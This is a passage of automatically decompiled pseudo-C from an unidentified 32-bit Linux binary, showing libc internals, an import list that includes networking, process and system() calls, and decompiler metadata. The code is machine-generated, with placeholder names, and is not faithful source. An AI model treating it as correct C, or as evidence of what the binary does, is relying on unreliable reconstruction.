g98 = g102; g97 = a3; g96 = 146; g95 = v2; __libc_disable_asynccancel(a6, 0); // branch -> 0x80e2923 } // 0x80e2923 g102 = v1; return 146; } // Address range: 0x80e4518 - 0x80e4563 int32_t __libc_alloca_cutoff(uint32_t a1, int32_t a2, int32_t a3) { uint32_t v1 = (uint32_t)g95 / 4 - 1; // 0x80e4524 if (v1 > 0xffff) { int32_t v2 = (int32_t)(a1 > 0x10000) ^ 0x10001; // 0x80e455c g95 = v2; return v2 % 2; } uint32_t v3 = v1 / 4; // 0x80e4532 if ((v1 & 2) == 0) { int32_t v4 = (int32_t)(a1 > 0x40000) ^ 0x40001; // 0x80e454c g95 = v4; return v4 % 2; } int32_t v5 = ((int32_t)(v3 < a1) | v3 & 0x3fffff00) ^ 1; // 0x80e453a g95 = v5; return v5 % 2; } /* --------- External Functions --------- */ // int * __errno_location(void) // int __overflow (_IO_FILE *, int) // char * __secure_getenv (const char *) // int _IO_feof (_IO_FILE *) // int _IO_vfscanf (_IO_FILE *restrict, const char *restrict, __gnuc_va_list, int *restrict) // void abort () // void abort () // int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len) // int access(const char *path, int amode) // int atoi (const char *) // int bind(int socket, const struct sockaddr *address, socklen_t address_len) // int close(int) // int closedir(DIR *dirp) // int daemon(int nochdir, int noclose) // void exit (int) // int flock(int fd, int operation) // pid_t fork () // size_t fread (void *restrict, size_t, size_t, FILE *restrict) // void free (void *) // int fscanf (FILE *restrict, const char *restrict, ...) // int fstat(int fildes, struct stat *buf) // int32_t ftruncate(int32_t a1, int32_t a2); // char * getenv (const char *) // int getpagesize(void) // pid_t getpid(void) // pid_t getppid(void) // int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen) // char *gettext (const char * msgid) // int gettimeofday(struct timeval *restrict tp, void *restrict tzp) // uid_t getuid(void) // uint16_t htons(uint16_t hostshort) // in_addr_t inet_addr(const char *) // char *inet_ntoa(struct in_addr) // int ioctl(int, int, ... ) // int kill(pid_t pid, int sig) // int listen(int socket, int backlog) // int32_t llvm_ctlz_i32(int32_t a1, bool a2); // void longjmp(jmp_buf env, int val) // void * memcpy (void *restrict, const void *restrict, size_t) // void * memmove (void *, const void *, size_t) // void *mempcpy(void *dest, const void *src, size_t n) // void * memset (void *, int, size_t) // void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off) // int mprotect(void *addr, size_t len, int prot) // int munmap(void *addr, size_t length); // int open(const char *path, int oflag, ... ) // DIR *opendir(const char *dirname) // int pthread_cond_destroy(pthread_cond_t *cond); // int pthread_cond_signal(pthread_cond_t *cond) // int32_t pthread_cond_timedwait(struct struct_84 * a1, int32_t a2, struct struct_83 * a3); // void *pthread_getspecific(pthread_key_t key); // int pthread_mutex_destroy(pthread_mutex_t *mutex) // int pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *attr); // int pthread_once(pthread_once_t *once_control, void (*init_routine)(void) // int32_t pthread_setspecific(struct struct_45 * a1, int32_t * a2); // int rand () // ssize_t read(int fildes, void *buf, size_t nbyte) // struct dirent *readdir(DIR *dirp) // ssize_t readlink(const char *path, char *buf, size_t bufsiz) // int remove (const char *) // void *sbrk(intptr_t incr) // int select (int, fd_set *restrict, fd_set *restrict, fd_set *restrict, struct timeval *restrict) // ssize_t sendto(int socket, const void *message, size_t length, int flags, const struct sockaddr *dest_addr, socklen_t dest_len) // int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen) // sighandler_t signal(int signum, sighandler_t handler) // int sigprocmask(int how, const sigset_t *set, sigset_t *oldset) // unsigned int sleep (unsigned int seconds) // int socket(int domain, int type, int protocol) // void srandom (unsigned int) // int stat(const char *restrict path, struct stat *restrict buf) // char *strchrnul(const char *s, int c) // int strcmp (const char *, const char *) // char * strcpy (char *restrict, const char *restrict) // int32_t strlen(char * a1); // int strncmp (const char *, const char *, size_t) // char * strncpy (char *restrict, const char *restrict, size_t) // char * strstr (const char *, const char *) // int system (const char *) // time_t time(time_t *tloc) // int uname(struct utsname *name) // int32_t unknown_809311a(void); // int32_t unknown_809350a(void); // int32_t unknown_80935d4(void); // int32_t unknown_81316f8(void); // int usleep(useconds_t) // int vfprintf (FILE *restrict, const char *restrict, __gnuc_va_list) // pid_t waitpid(pid_t, int *, int) /* ---------- Meta-Information ---------- */ // Detected compiler: gcc (i686-redhat-linux-gcc) 4.6.3 // Detected functions: 990 (1071 in front-end) // Decompiler release: v2.0 (Jun 1 2015) // Decompilation date: Jun 10 2015 00:47:47